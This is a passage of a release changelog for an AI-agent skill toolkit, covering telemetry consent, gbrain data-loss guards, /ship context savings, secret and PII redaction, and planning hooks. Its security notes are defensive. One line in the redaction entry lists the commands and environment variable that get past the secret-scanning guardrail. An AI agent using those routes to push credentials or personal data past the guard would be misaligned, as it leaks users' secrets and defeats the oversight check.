#### For contributors
- `test/helpers/auq-sdk-capture.ts` — reusable SDK capture engine: drives a skill to its AUQ and captures the verbatim generated text cleanly (real-PTY mangles plan-mode questions), grades format + recommendation substance robust to the connective, and detects section reads losslessly from the tool-use stream.
- `section-manifest-consistency` discovers every carved skill automatically, so the next carve is covered the moment its manifest lands.
- The `/ship` and `/plan-ceo-review` section-loading E2E tests detect section reads from the `claude -p` tool-use stream instead of scraping the real-PTY screen buffer, so they are reliable (the PTY path silently saw nothing in some terminals) and run hermetically against the worktree carve without mutating the installed skill.

## [1.55.1.0] - 2026-06-02

## **Telemetry now tells you exactly what it records and where it stays. The project-slug helper hands the shell a safe identifier on every path.**

The telemetry opt-in screen now states the truth without asterisks: it shares skill name, duration, crashes, and a stable device ID, with no code and no file paths, and your repo name is recorded locally only and stripped before any upload. Under the hood, the helper that every skill uses to find your project (`gstack-slug`) now filters its output to `[a-zA-Z0-9._-]` on every path, including the cached one, so the value that gets handed to the shell is always a plain identifier. Two regression tests lock both behaviors so they can't quietly drift back.

### The guarantees that matter

These are enforced by tests in this release, not promises (`bun test test/telemetry-repo-strip.test.ts test/gstack-slug-sanitize.test.ts`):

| Guarantee | Pinned by |
|-----------|-----------|
| Your repo name never leaves the machine (stripped before upload) | `telemetry-repo-strip.test.ts` — floor + producer-coverage + runs the real strip over a sample event |
| A tampered slug cache can't put shell characters into the helper's output | `gstack-slug-sanitize.test.ts` — fails if the sanitization is removed |
| The consent copy matches what the code actually does | `generate-telemetry-prompt.ts` (regenerated into every skill) |

The repo-identity test covers all three producer fields (`repo`, `_repo_slug`, `_branch`), so adding a new field that forgets to get stripped fails CI rather than shipping silently.

### What this means for you

Your telemetry choice screen now describes what actually happens, so you can opt in (or not) on accurate information. If you share a machine or have ever worried about a tampered `~/.gstack` cache, the slug helper now refuses to pass anything but a safe identifier to the shell. Nothing to do — both land automatically on upgrade.

### Itemized changes

#### Changed
- Telemetry consent copy is now accurate: "No code or file paths. Your repo name is recorded locally only and stripped before any upload" (was "No code, file paths, or repo names").

#### Fixed
- `gstack-slug` sanitizes its output to `[a-zA-Z0-9._-]` on every path, including values read from its on-disk cache, so `eval "$(gstack-slug)"` always receives a plain identifier. A tampered cache file is also healed on the next write.
- The telemetry preamble sanitizes the repo basename before building its JSON line, so an unusual repo directory name can't malform the local analytics record.

#### Added
- `test/telemetry-repo-strip.test.ts` — enforces that no repo/branch identity field reaches the upload batch (floor + producer-coverage + real-strip behavior).
- `test/gstack-slug-sanitize.test.ts` — regression test proving a poisoned slug cache cannot inject shell metacharacters.

#### For contributors
- The consent copy and repo-basename handling live in `scripts/resolvers/preamble/`; all `SKILL.md` files and the ship goldens were regenerated from those resolvers.

## [1.55.0.0] - 2026-05-30

## **`/sync-gbrain` can no longer be the trigger that lets gbrain delete your repo. The headed browser stops crash-looping, and gbrain installs the current release instead of a pin 23 versions stale.**

gbrain can rm-rf a working tree when its autopilot daemon reclones mid-cycle. `/sync-gbrain` used to call gbrain's `sources remove` and `sync --strategy code` as if they were safe, so it could be the thing that set that race off. Now every destructive gbrain call sits behind feature-detected guards: the orchestrator refuses to run while autopilot is active, refuses to remove a user-managed source it can't storage-protect (it fails closed), canonicalizes paths with realpath so a symlink can't smuggle a delete outside gbrain's own clones, and requires an explicit `--allow-reclone` before a URL-managed source's code walk. Shipped in the same wave: the headed browser's self-inflicted crash-loop is gone, big-brain memory ingests stop getting killed at a fixed 30 minutes, and the gbrain installer moves off its frozen v0.18.2 pin onto the latest release behind a version floor and a `doctor` self-test.

### The numbers that matter

From the shipped diff and its regression suites (`bun test test/gbrain-*.test.ts browse/test/restart-env.test.ts test/memory-ingest-timeout.test.ts`):

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Destructive gbrain ops behind guards | 0 | 4 | +4 |
| gbrain / brain-sync spawns that work on Windows | 0/8 | 8/8 | +8 |
| gbrain version installed | v0.18.2 (pinned, ~23 behind) | latest + min-version floor + doctor gate | — |
| Memory-ingest timeout | hardcoded 30 min | configurable, checkpoint preserved on timeout | — |
| Generated SKILL.md that parse under strict YAML | partial (colons broke Codex) | all (quoted) | — |

The guard that matters most: a `sources remove` on a source whose files live outside `~/.gbrain/clones/` and can't be storage-protected now refuses instead of proceeding. The path that ate a repo no longer runs unattended.

### What this means for you

If you use `/sync-gbrain`, you are protected from the data-loss race even before gbrain ships its own root fix. "Don't run `/sync-gbrain` while `gbrain autopilot` is active" is now enforced, not just advised, and nothing gets deleted that can't be proven safe. Headed-browser QA against beacon-heavy pages (analytics, live extensions) no longer crash-loops, leaks Chromium, or silently drops to an invisible headless window. New gbrain installs track the current release. Codex and OpenAI can load every gstack skill again.

### Itemized changes

#### Added
- `/sync-gbrain` destructive-op guards (`lib/gbrain-guards.ts`): multi-signal autopilot detection, fail-closed `sources remove`, realpath `remote_url` pre-flight audit, and a `--allow-reclone` gate before URL-managed code walks.
- Install-time gbrain gate (`bin/gstack-gbrain-install`): a minimum-version floor and a `gbrain doctor --fast` self-test, both hard-fail with remediation.
- `GSTACK_INGEST_TIMEOUT_MS` to configure the memory-ingest timeout; on timeout the gbrain checkpoint is preserved so the next run resumes.

#### Changed
- gbrain installs at the latest default-branch HEAD by default; pin a commit with `gstack-gbrain-install --pinned-commit <sha>` for reproducibility.
- Generated SKILL.md descriptions with interior colons are now quoted, so strict YAML loaders (Codex/OpenAI) parse them.
- `/sync-gbrain` guidance: do not run during autopilot; prefer `gbrain sources add --path` over URL-managed sources.

#### Fixed
- `/sync-gbrain` no longer races gbrain's autopilot into a destructive reclone or remove (#1734). Report by @mvanhorn.
- `gstack-jsonl-merge` resolves equal-timestamp entries deterministically across machines, so append-only logs converge instead of re-conflicting forever (#1769). Contributed by @jbetala7.
- Generated SKILL.md frontmatter parses under strict YAML loaders (#1778). Reported by @GilbertzzzZZ, @genisis0x, @cathrynlavery, and @sator-imaging.
- The headed browser daemon no longer crash-loops under load, leaks Chromium processes, or silently downgrades a headed session to headless (#1781).
- `/sync-gbrain --full` memory ingests on large brains are no longer killed at a fixed 30-minute timeout (#1611).
- The gbrain CLI and `gstack-brain-sync` spawn correctly on Windows (#1731).

#### For contributors
- `lib/gbrain-guards.ts` with hermetic tests for every guard branch (autopilot signals, fail-closed remove, reclone gate, realpath containment).
- `parseSourcesList` centralizes `gbrain sources list --json` shape handling across all readers (#1576, whose crash was already fixed in v1.42.0.0 — this removes the last divergent reader).
- Static-grep tripwire (`test/gbrain-spawn-windows-shell.test.ts`) fails CI if a gbrain spawn drops the Windows shell flag.
- gbrain-side requirements for the root fixes (ungated reclone, `--keep-storage`, a cooperative remove-lease, a capability command, true ingest-resume, integration CI) are tracked for the gbrain repo.

## [1.54.0.0] - 2026-05-30

## **The heaviest skill stopped taxing every session. /ship's always-loaded cost dropped 59%, and its prose now loads only when a step needs it.**

`/ship` was a 167KB wall that every session paid for in full, whether you were bumping a version or writing a changelog or none of it. It is now a 69KB decision-tree skeleton plus eight `sections/*.md` files the agent opens on demand. The eight steps that are long prose (the test run, coverage audit, plan-completion, the review army, Greptile triage, the adversarial pass, the changelog, the PR body) moved into sections behind STOP-Read pointers, so a run only reads the chapters its situation calls for. The version-bump logic that used to be ~90 lines of inline bash, the single worst re-bump footgun in the workflow, is now the tested `gstack-version-bump` CLI (classify / write / repair). Other hosts (codex, factory, kiro, opencode) keep the full inline skill unchanged, so nothing regresses off Claude. This release dogfooded itself: the version you are reading was bumped by `gstack-version-bump`.

### The numbers that matter

Measured directly from the generated skill (`wc -c ship/SKILL.md`) and the new section files, regenerated for all hosts:

| Metric | Before (v1.53) | After (v1.54) | Δ |
|--------|----------------|---------------|---|
| ship always-loaded | 167 KB (~41.8K tokens) | 69 KB (~17.2K tokens) | -59% |
| ship prose loaded per run | all of it | only applicable sections | on-demand |
| ship version logic | ~90 lines inline bash | tested CLI, 15 unit tests | extracted |
| External-host ship | 167 KB inline | 162 KB inline (unchanged behavior) | no regression |

The skeleton is what loads the instant `/ship` is invoked, so the ~24.6K-token drop is paid back on every single ship, not just once.

### What this means for you

A `/ship` run starts ~3x lighter and pulls in each heavy step's instructions only when it reaches that step, so the agent spends less of its window holding prose it is not using yet. You will not notice any behavior change. The workflow is identical step for step; the difference is what is in context when. If you ever want to read a step in isolation, the chapters live at `~/.claude/skills/gstack/ship/sections/`.

### Itemized changes

#### Added
- `bin/gstack-version-bump` — tested version-state CLI (classify / write / repair) with 15 unit tests covering the full FRESH / ALREADY_BUMPED / DRIFT_STALE_PKG / DRIFT_UNEXPECTED matrix.
- `ship/sections/*.md` — eight on-demand sections (tests, test-coverage, plan-completion, review-army, greptile, adversarial, changelog, pr-body) with a passive `manifest.json` registry.
- Section pipeline in `gen-skill-docs`: `{{SECTION:id}}` (STOP-Read pointer on Claude, inline on other hosts) and `{{SECTION_INDEX}}` (situation to section table rendered from the manifest).
- `test/helpers/transcript-section-logger.ts` + `required-reads.ts` and section-loading / manifest-consistency / context-parity tests guarding the carve.

#### Changed
- `/ship` is a skeleton + sections on Claude; external hosts still receive the full inline skill (no behavior change off Claude).
- Step 12 calls `gstack-version-bump` instead of inline bash.
- Parity harness understands carved skills (checks skeleton + sections union; asserts the skeleton actually shrank).

#### For contributors
- `setup` links `sections/` into the prefixed Claude + Kiro skill dirs; `--host all` now fails the build on any host failure, not just claude.
- New section templates live at `<skill>/sections/*.md.tmpl`; regenerate with `bun run gen:skill-docs`.

## [1.53.1.0] - 2026-05-30

## **Workspace and scripted setup never hang on a hidden prompt again. Installing the plan-tune hooks is now flag-driven with safe defaults.**

`./setup` asked "Install both hooks now? [y/N]" with a blocking read. Run under a Conductor workspace or any forwarded terminal, that prompt had nobody to answer it, so setup hung forever. Now the decision comes from a flag, an env var, or saved config, and when nobody is there to answer it takes a safe default instead of waiting. A real terminal still gets the prompt, but it is time-bounded (auto-skips after 10s) so it can never stall a pipeline.

### What this means for you

- Spinning up a new workspace just works. `bin/dev-setup` runs fully non-interactively and never rewrites your global Claude settings behind your back.
- Want the plan-tune hooks installed without a prompt? `./setup --plan-tune-hooks` (or `GSTACK_PLAN_TUNE_HOOKS=yes`, or `gstack-config set plan_tune_hooks yes`). Don't want them? `--no-plan-tune-hooks`. Leave it unset and a real terminal still asks once, then remembers.

### Added

- `--plan-tune-hooks` / `--no-plan-tune-hooks` / `--plan-tune-hooks=yes|no|prompt` flags on `./setup`, plus the `GSTACK_PLAN_TUNE_HOOKS` env var and a `plan_tune_hooks` config key (default `prompt`). Precedence: flag > env > saved config > prompt on a real terminal.

### Fixed

- `./setup` no longer hangs in non-interactive or forwarded-TTY contexts (Conductor workspaces, CI). The plan-tune consent prompt is time-bounded and defaults to skip.
- `bin/dev-setup` runs setup non-interactively and can no longer silently rewrite your global `~/.claude/settings.json` to point at an ephemeral workspace path that breaks when the workspace is deleted.
- Opt-in values like `YES`, `Yes`, or ` yes` are honored instead of being silently downgraded to skip, and `gstack-config` now rejects out-of-domain `plan_tune_hooks` values.

### For contributors

- New regression suite `test/setup-plan-tune-hooks-noninteractive.test.ts` (flag wiring, no-blocking-read guard, decision normalization, config round-trip + domain rejection, dev-setup pin) with host-config isolation via a temp `GSTACK_HOME`.
- Rebaselined `test/parity-suite.test.ts` from the stale v1.44.1 anchor to v1.53.0.0. The 1.05 per-skill ratio is kept (only the anchor moved), absorbing legitimate v1.49–v1.53 planning-skill growth and clearing the 5 pre-existing parity failures noted in the v1.53.0.0 entry. Historical baselines retained for the v1→v2 audit trail.
- De-flaked `test/plan-tune.test.ts` "derive pushes scope_appetite up" (was ~25–50% flaky, worse on main): it now sets `GSTACK_QUESTION_LOG_NO_DERIVE=1` so gstack-question-log's fire-and-forget background `--derive` can't race the test's explicit one.

## [1.53.0.0] - 2026-05-29

## **Secrets, PII, and legal landmines get caught before they reach a public sink. One redaction engine now guards /spec, /ship, /cso, and the /document-* skills.**

`/spec` used to scan for seven secret patterns and only blocked the codex hand-off. Everything after that — the GitHub issue it filed, the local archive — went out unscanned. So you could pull an AWS key out of the draft, re-run, and still publish a customer's email to a world-readable issue. That gap is closed. A single shared engine (`lib/redact-patterns.ts` + `lib/redact-engine.ts`, driven by the new `gstack-redact` CLI) now scans the exact bytes that will be sent, at every sink: the codex dispatch, the issue body, the archive write, the PR body and title, and generated docs before they commit. HIGH-confidence credentials block. PII and legal/damaging content (a named person tied to "fired", a customer tied to "churn", NDA markers) prompt you per finding, with one-keystroke auto-redact for emails, phones, SSNs, and cards. Public repos get a sterner bar than private ones.

It is a guardrail, not a vault. `git push --no-verify`, a direct `gh issue create`, and `GSTACK_REDACT_PREPUSH=skip` all still get through. It catches accidents and carelessness, which is where real leaks come from.

### The numbers that matter

From the shipped engine and its test suite (`bun test test/redact-*.test.ts` and the per-skill wiring tests):

| Metric | Before (v1.52) | After (v1.53) | Δ |
|--------|----------------|---------------|---|
| Redaction patterns | 7 (secrets only) | 33 (secrets + PII + legal + internal) | +26 |
| Tiers | 1 (block) | 3 (block / confirm / FYI) | +2 |
| Enforcement sinks in /spec | 1 (codex only) | 3 (codex, issue, archive) | +2 |
| Skills guarded | 1 (/spec) | 5 (/spec, /ship, /cso, /document-release, /document-generate) | +4 |
| Redaction tests | ~5 string checks | 159 behavior tests | +154 |

Tier split of the 33 patterns: 17 HIGH (genuinely-secret credentials), 14 MEDIUM (PII, legal, internal-leak, plus high-FP credential shapes), 2 LOW. Calibration is the point: Stripe publishable keys, Google `AIza` keys, JWTs, and env-style `*_KEY=` sit at MEDIUM, not HIGH, because a gate that cries wolf gets muted.

### What this means for you

When you `/spec` or `/ship`, you no longer have to remember that the issue body is public. A real credential stops the operation cold and tells you to rotate it. An email or a sentence naming a coworker surfaces as a question, with auto-redact one keystroke away. Turn on the optional pre-push hook (`gstack-config set redact_prepush_hook true`) to catch the classic `.env`-into-the-diff push too. Nothing new to learn: it runs inside the skills you already use.

### Itemized changes

#### Added
- **Shared redaction engine.** `lib/redact-patterns.ts` (33-pattern, 3-tier taxonomy — the single source of truth) and `lib/redact-engine.ts` (pure `scan()` + `applyRedactions()` with Unicode normalization, ReDoS-safe size cap, Luhn/entropy/RFC1918 validators, safe-masked previews).
- **`gstack-redact` CLI** — scan stdin or a file, JSON or human output, exit 0/2/3 to gate skills, `--auto-redact` for the PII one-keystroke path, `--repo-visibility`, `--allowlist`, `--self-email`.
- **Opt-in pre-push hook** (`gstack-redact-prepush` + `gstack-redact install-prepush-hook`) — blocks a credential in the pushed diff (public and private), correct `remote..local` diff direction with new-branch/force-push/delete handling, chains any existing hook, `GSTACK_REDACT_PREPUSH=skip` escape valve.
- **`/spec` Phase 4.5a semantic review** — an in-conversation pass (no third party) for named-criticism, customer complaints, unannounced strategy, NDA material, and codename bleed, with a content-free audit trail at `~/.gstack/security/semantic-reviews.jsonl`.
- **Config keys** `redact_repo_visibility` (local-only override for repos `gh`/`glab` can't read) and `redact_prepush_hook`.

#### Changed
- **`/spec`, `/ship`, `/document-release`, `/document-generate`** scan at every external sink, on the exact bytes sent (temp-file scan-at-sink, no scan-then-re-render gap). `/ship` wraps Codex/Greptile output in tool-attributed fences so the example credentials those tools quote degrade to a non-blocking warning instead of failing the PR.
- **`/cso`** shares the same canonical taxonomy via `lib/redact-patterns.ts` for its secrets archaeology.

#### For contributors
- Skill docs for the redaction surface are generated from `scripts/resolvers/redact-doc.ts` (`{{REDACT_TAXONOMY_TABLE}}`, `{{REDACT_INVOCATION_BLOCK:<sink>}}`), so the five skills never drift from the engine.
- 12 new test files, 159 redaction assertions, plus a periodic-tier semantic-pass eval (`test/redact-semantic-pass.eval.ts`).
- Known pre-existing: the legacy `test/parity-suite.test.ts` (v1.44.1 baseline) reports 5 planning-skill size regressions inherited from the brain-aware-planning releases (v1.49–v1.52); they are unrelated to this branch and the active v1.47 size-budget gate passes. Tracked in TODOS.md to rebaseline.

## [1.52.2.0] - 2026-05-29

## **Emoji render in make-pdf PDFs on every platform. Linux stops printing tofu boxes, and setup installs the font for you.**

make-pdf used to render emoji code points as `.notdef` tofu (▯) on Linux. The cause was a missing fallback: the print CSS font stacks had no emoji family, and most Linux distros and containers ship no color-emoji font at all, so Skia drew empty boxes in every header and table that used emoji. Now the body and running-header stacks fall back through Apple Color Emoji, Segoe UI Emoji, and Noto Color Emoji, and `./setup` best-effort installs `fonts-noto-color-emoji` on Linux (apt, with dnf/pacman/apk fallbacks), refreshes the font cache, and restarts a running browser daemon so the next render picks it up. macOS and Windows already shipped an emoji font and are unchanged. Non-emoji Unicode (em dash, times, arrow, bullet, ellipsis) always worked and still does.

## The numbers that matter

Source: the emoji render gate, `bun test make-pdf/test/e2e/emoji-gate.test.ts`, rendering a fixture of color emoji at 100 dpi.

| Metric | Before | After | Δ |
|---|---|---|---|
| Saturated (color) pixels in the rendered emoji region | ~0 (tofu) | ~1,650 | real color render |
| Platforms that render emoji correctly | macOS, Windows | macOS, Windows, Linux | +Linux |
| Emoji-bearing font stacks with a fallback family | 0 | 2 | body + running header |
| Deterministic render-proof gates | 0 | 1 | pdffonts + pixel |

A tofu box is a near-monochrome outline (close to zero colored pixels). A real emoji render lands about 1,650 saturated pixels. The gate asserts both that an emoji font embedded (`pdffonts`) and that the page actually rasterizes to color (`pdftoppm`), because PDF text extraction passes even when the glyph drew as tofu, so it cannot be trusted as the proof.

## What this means for builders

If you generate PDFs on Linux or inside a container, emoji in section headers and table status columns now render instead of ▯. Run `./setup` once on Linux to install the font; there is nothing to do on macOS or Windows. Set `GSTACK_SKIP_FONTS=1` to opt out on locked-down or offline machines.

### Itemized changes

#### Added
- `ensure_emoji_font()` in `setup`: Linux color-emoji install across apt/dnf/pacman/apk, `fc-match` color-font detection (idempotent, skips when a real color font already resolves), `fc-cache` refresh under sudo, and a browse-daemon restart so a running render server sees the new font. Opt out with `GSTACK_SKIP_FONTS=1`. Non-interactive `sudo -n` and timeout-bound package calls so it never hangs setup.
- Emoji render gate (`make-pdf/test/e2e/emoji-gate.test.ts`) with a variation-selector (`❤️`, FE0F) fixture: asserts an emoji font embeds and the page rasterizes to color. Hard-fails in CI when poppler or the font is missing, so prerequisite drift can't hide a regression behind a green build.
- `resolvePopplerTool()` resolver for `pdffonts` / `pdfimages` / `pdftoppm`.
- The Ubuntu make-pdf CI gate installs `fonts-noto-color-emoji` before Chromium launches.

#### Changed
- Print CSS body and `@top-center` running-header font stacks fall back through Apple Color Emoji, Segoe UI Emoji, and Noto Color Emoji, placed before the generic `sans-serif`. All font stacks are now composed from shared constants.

#### Fixed
- make-pdf no longer renders emoji as `.notdef` tofu (▯) on Linux.

## [1.52.1.0] - 2026-05-27

## **Brain-aware planning lands. Five planning skills read structured context from any personal gbrain before asking — same questions, smarter answers, no token tax.**

`/office-hours`, `/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, and `/plan-devex-review` now preflight a typed entity model from your gbrain (Wintermute, local PGLite, or any thin-client MCP) before their first AskUserQuestion. Reviews stop asking "what's the product?" / "who's the target user?" / "what was your prior scope call?" — that context loads from cached digests of typed `gstack/product`, `gstack/goal`, `gstack/developer-persona`, `gstack/brand`, `gstack/competitive-intel`, `gstack/skill-run`, `gstack/user-profile`, and `gstack/take` pages. The brain becomes a structured model of your product and your judgment patterns, not just a search index.

The unlock: every planning skill filters its recommendations through "what does the user actually want right now, what is this product, what have we decided before." That's the qualitative shift codex outside-voice argued for — the brain telling reviews "this contradicts your January CEO plan" or "your developer persona digest says first-time CLI users; this plan adds 3 setup commands."

### The numbers that matter

Source: `bun test test/brain-cache-spec.test.ts test/skill-preflight-budget.test.ts` (verifies budgets statically) and `bin/gstack-brain-cache get product` smoke (verifies warm-hit latency).

| Surface | Before | After | Δ |
|---|---|---|---|
| Planning-skill cold-start tokens (preflight context) | 0 (asked everything) | 500–1500 tokens (warm hit) / 5–15 KB once-per-day (cold miss) | brain-as-model, not just search |
| MCP calls per skill invocation (warm hit) | n/a (no integration) | 0 (single disk read) | 95% path |
| MCP calls per skill invocation (cold miss) | n/a | 4–8 parallel calls, ~1–2s once | bounded |
| Autoplan (4 sequential skills) preflight cost | n/a | 1 cold-miss + 3 warm-hits via lockfile dedup | concurrent dedup saves 4× |
| New typed brain page kinds | 0 | 8 (`gstack-core@1.0.0` schema pack) | first-class entity model |
| Per-endpoint trust policies | 0 (sync mode global only) | 1 per `sha8(MCP URL)` namespace, hash collision → sha16 | shared-brain safe |
| New gate-tier tests | 0 | 10 files / 111 assertions | every correctness path covered |

The cache layer keeps the brain integration honest: 95% of invocations are a single disk read at ~10–30ms; cold-miss pays a one-time ~1–2s tax that's deduplicated across concurrent autoplan dispatches via a project-scoped lockfile. Salience is filtered by an allowlist (`projects/`, `concepts/`, `gstack/`) before write so personal pages — family, therapy, reflection — never leak into work-flow planning prompts. The trust-policy primitive makes personal-brain auto-push safe and shared-brain reads conservative by default.

### What this means for you

If you use planning skills today: every invocation gets sharper without you doing anything different. The skills ask fewer redundant questions and surface "this contradicts your Jan plan" / "your Feb TTHW benchmark was 2:15 vs the 5:30 baseline" / "tendency to under-expand on infra plans" — the brain doing the bookkeeping that your memory shouldn't have to.

If you use a remote MCP brain (Wintermute or your own): `/setup-gbrain` Step 9.5 asks the trust-policy question once per endpoint. Personal endpoint → `~/.gstack/` artifacts auto-push and calibration takes write back to your brain. Shared/team endpoint → reads only, prompts before writes, user-namespaced via federation sources or `users/<slug>/gstack/` prefix.

If you use local PGLite: auto-detected as personal; no question fires. The cache lives at `~/.gstack/{,projects/<slug>/}brain-cache/` with per-entity TTLs.

If you're a contributor: the new resolver pattern (`{{BRAIN_PREFLIGHT}}` / `{{BRAIN_CACHE_REFRESH}}` / `{{BRAIN_WRITE_BACK}}`) is the template seam for the brain integration. Empty string for any skill not in `SKILL_DIGEST_SUBSETS` — drop the placeholders anywhere with zero cost.

Phase 2 calibration write-back is gated behind the `BRAIN_CALIBRATION_WRITEBACK` feature flag (default off) until upstream gbrain ships `takes_add` / `takes_resolve` MCP ops (filed in TODOS.md as P2). When the flag flips, the existing skill templates pick up the write-back behavior with no template changes.

### Itemized changes

**Added**
- `scripts/brain-cache-spec.ts` — single source of truth for `BRAIN_CACHE_ENTITIES` (8 entities × TTL + budget + invalidation rules), `SKILL_DIGEST_SUBSETS` (per-skill which files to load), `SALIENCE_DEFAULT_ALLOWLIST`, `SKILL_CALIBRATION_WEIGHTS`, trust-policy + schema-pack constants.
- `scripts/gstack-schema-pack.ts` — `gstack-core@1.0.0` schema pack with 8 typed page kinds: `user-profile`, `product`, `goal`, `developer-persona`, `brand`, `competitive-intel`, `skill-run`, `take`. Frontmatter shapes, retention policies, link verbs for `mcp__gbrain__schema_graph`.
- `bin/gstack-brain-cache` — three-tier cache CLI: `get` / `refresh` / `invalidate` / `digest` / `meta` / `bootstrap` / `list` / `purge` subcommands. Atomic writes, TTL staleness, schema-version full-rebuild on mismatch, stale-but-usable fallback, concurrent-refresh lockfile dedup.
- `scripts/resolvers/gbrain.ts` — three new resolver functions: `generateBrainPreflight`, `generateBrainCacheRefresh`, `generateBrainWriteBack`. Empty-string for non-preflight skills (defensive).
- `bin/gstack-config` — `brain_trust_policy@<endpoint-hash>` namespace, `endpoint-hash` subcommand (sha8 with collision → sha16 escalation), `resolve-user-slug` subcommand (D4 A3 identity resolution chain: `whoami` → `$USER` → `sha8(git email)` → `anonymous-<sha8(hostname)>`).
- `setup-gbrain` Step 9.5 — brain trust policy question per-endpoint. Local auto-set personal; remote-ambiguous asks; personal flips `artifacts_sync_mode=full`.
- `sync-gbrain` — `--refresh-cache` flag (replaces planned `/brain-refresh-context` skill per D1 fold), `--audit` flag (gstack-owned page summary + salience leak check), Step 1 trust-policy gate.
- 10 new gate-tier test files (111 assertions): `brain-cache-spec`, `gstack-schema-pack`, `brain-cache-roundtrip`, `cache-concurrent-refresh`, `salience-allowlist`, `brain-preflight`, `user-slug-fallback`, `schema-version-migration`, `takes-fence-fallback`, `skill-preflight-budget`.

**Changed**
- 5 planning SKILL.md.tmpl files wired with `{{BRAIN_PREFLIGHT}}` (top of skill body) and `{{BRAIN_CACHE_REFRESH}}` / `{{BRAIN_WRITE_BACK}}` (end of skill) placeholders.
- `scripts/resolvers/index.ts` registers `BRAIN_PREFLIGHT`, `BRAIN_CACHE_REFRESH`, `BRAIN_WRITE_BACK`.

**For contributors**
- Three follow-ups deferred to `TODOS.md` (P2 / P3): `/gstack-reflect` nightly synthesis, cross-machine brain-cache sync, dedicated `/gstack-onboarding` skill.
- Upstream gbrain dependency for Phase 2: `takes_add` + `takes_resolve` MCP ops in `~/git/gbrain/` (filed as P2 in TODOS.md). Phase 2 wiring already exists behind `BRAIN_CALIBRATION_WRITEBACK` flag; flag flips when upstream lands.
- Plan / CEO + eng review record: `~/.claude/plans/hm-interesting-well-why-dapper-eagle.md` (Approach B + 5 cherry-picks + 11 D-decisions from full eng review + codex outside-voice synthesis).

### Save-results path: works under any CLI when gbrain is on PATH

Brain-aware planning saves the actual review document to gbrain, not just preflight digests and calibration takes. Setup detects gbrain at install time and, if present, the planning skills emit compressed `gbrain put "<prefix>/<feature-slug>"` instructions for `office-hours/`, `ceo-plans/`, `eng-reviews/`, `design-reviews/`, and `devex-reviews/` slug spaces. If gbrain is not detected, the save-results block is suppressed entirely. Zero token overhead for users without gbrain. If you install gbrain after running `./setup`, run `gstack-config gbrain-refresh` to pick up the change.

Token cost stays tight: the inline save-results block is ~150 tokens per planning skill (down from ~1000 a naive un-suppression would have added). The full save template (heredoc body, entity-stub instructions, throttle handling, backlinks) lives in `docs/gbrain-write-surfaces.md` §Save Template and the agent reads it on demand only when it actually saves. Same compression discipline for the brain-context-load block: ~115 tokens with skip-header pointing to §Context Load.

| Detection state | Per-planning-skill token overhead | What the agent does on save |
|---|---|---|
| gbrain on PATH + `gstack-config gbrain-refresh` says `local_status: "ok"` | ~250 tokens (CONTEXT_LOAD + SAVE_RESULTS, compressed) | reads `docs/gbrain-write-surfaces.md` on demand, calls `gbrain put <prefix>/<slug>` |
| gbrain not on PATH | 0 tokens | block suppressed at gen-time, nothing rendered |
| GBrain or Hermes host adapter | full inline render (unchanged) | calls `gbrain put` always |

Wired for all five planning skills uniformly: `office-hours`, `plan-ceo-review`, `plan-eng-review`, `plan-design-review`, `plan-devex-review`. The last two gained the `{{GBRAIN_SAVE_RESULTS}}` placeholder in their templates (previously only the first three had it, so design-review and devex-review produced no retrievable page even under GBrain CLI).

Coverage: a free resolver-level unit test pins per-skill slug + tag metadata + the compressed token budget (`test/resolvers-gbrain-save-results.test.ts`, 10 tests / 53 assertions); a free override-mechanism test asserts the detection file gates resolver rendering correctly across `detected: true`, `detected: false`, and `no file` states (`test/gbrain-detection-override.test.ts`, 4 tests); a periodic-tier fake-CLI E2E drives `/office-hours` against a stub `gbrain` on PATH and asserts the agent actually calls `gbrain put office-hours/<slug>` with valid YAML frontmatter (`test/skill-e2e-office-hours-brain-writeback.test.ts`, ~$0.50-1/run); a periodic-tier real-CLI round-trip drives `gbrain init --pglite` + `gbrain put` + `gbrain get` against an isolated temp HOME and asserts the body survives (`test/skill-e2e-gbrain-roundtrip-local.test.ts`, ~$0.001/run, skips if `VOYAGE_API_KEY` is unset). Together: the agent obeys the resolver instruction, the resolver emits a valid CLI shape, and the CLI persists the page on the local engine. Remote/Supabase routing is gbrain's contract to honor — the same CLI shape covers all engines, so gstack stops at local round-trip coverage.

**For contributors (save-results layer):**
- `bin/gstack-config gbrain-refresh` re-runs `bin/gstack-gbrain-detect` and writes `~/.gstack/gbrain-detection.json`. `./setup` runs this at the end of install and conditionally regenerates Claude-host SKILL.md with `bun run gen:skill-docs:user` (added package.json script) so detected installs get the brain blocks immediately.
- The default `bun run gen:skill-docs` (CI canonical) ignores the detection file. Committed SKILL.md stays reproducible regardless of any developer's local gbrain state. Use `bun run gen:skill-docs:user` for user-local installs.
- Two follow-ups deferred to `TODOS.md` (P2): re-verify calibration takes when gbrain v0.42+ ships `takes_add` (the `BRAIN_CALIBRATION_WRITEBACK` flag flips); extend the brain-writeback E2E to the other 4 planning skills.

## [1.52.0.0] - 2026-05-27

## **`/plan-tune` settings actually do something now. Hooks make capture deterministic, preferences binding, and free-text answers loop back as memory.**

Before this release, plan-tune was a profile inspector with a hollow substrate. Every gstack skill told the agent "log this AskUserQuestion fire," and in weeks of dogfood, zero events ever landed. Preferences were agent-honored convention. Declared profile dimensions sat in a JSON file doing nothing. After this release: a PostToolUse hook captures every AUQ fire whether the agent remembers to log or not. A PreToolUse hook substitutes auto-decided answers when you've set `never-ask`. Free-text "Other" responses get dream-cycled through Claude into structured proposals you approve, then injected into future related questions as inline context. Codex sessions are backfilled by a structured-JSONL parser, not regex on transcript text.

The cathedral lands behind one explicit consent prompt at `./setup` (with diff preview, backup, and one-command rollback) and stays on once installed.

### The numbers that matter

Measured against the existing v1.49 substrate. Reproduce with `bun test test/plan-tune-gates.test.ts test/question-log-hook.test.ts test/question-preference-hook.test.ts test/memory-cache-injection.test.ts test/distill-free-text.test.ts test/distill-apply.test.ts test/declared-annotation.test.ts test/gstack-codex-session-import.test.ts test/skill-e2e-plan-tune-cathedral.test.ts`.

| Metric | Before (v1.49.0.0) | After (v1.52.0.0) | Δ |
|---|---|---|---|
| AUQ events captured per session | 0 (agent convention) | every fire (hook) | substrate works |
| `never-ask` preferences enforced | 0% (agent convention) | 100% (hook + deny+reason) | actually binds |
| Declared profile annotations | 0 / week | every signal_key match | profile renders |
| Dream-cycle memory persistence | 0 (no mechanism) | per-project + gbrain mirror | cross-project recall |
| Codex session backfill | none (regex idea) | structured JSONL parser | future-proof |
| Per-PR test cost added | $0 | $0 (deterministic; no claude -p) | gate-tier safe |
| Unit + E2E tests added | — | 96 tests / 8 new files | green |

| Layer | What it does | Where it lives |
|---|---|---|
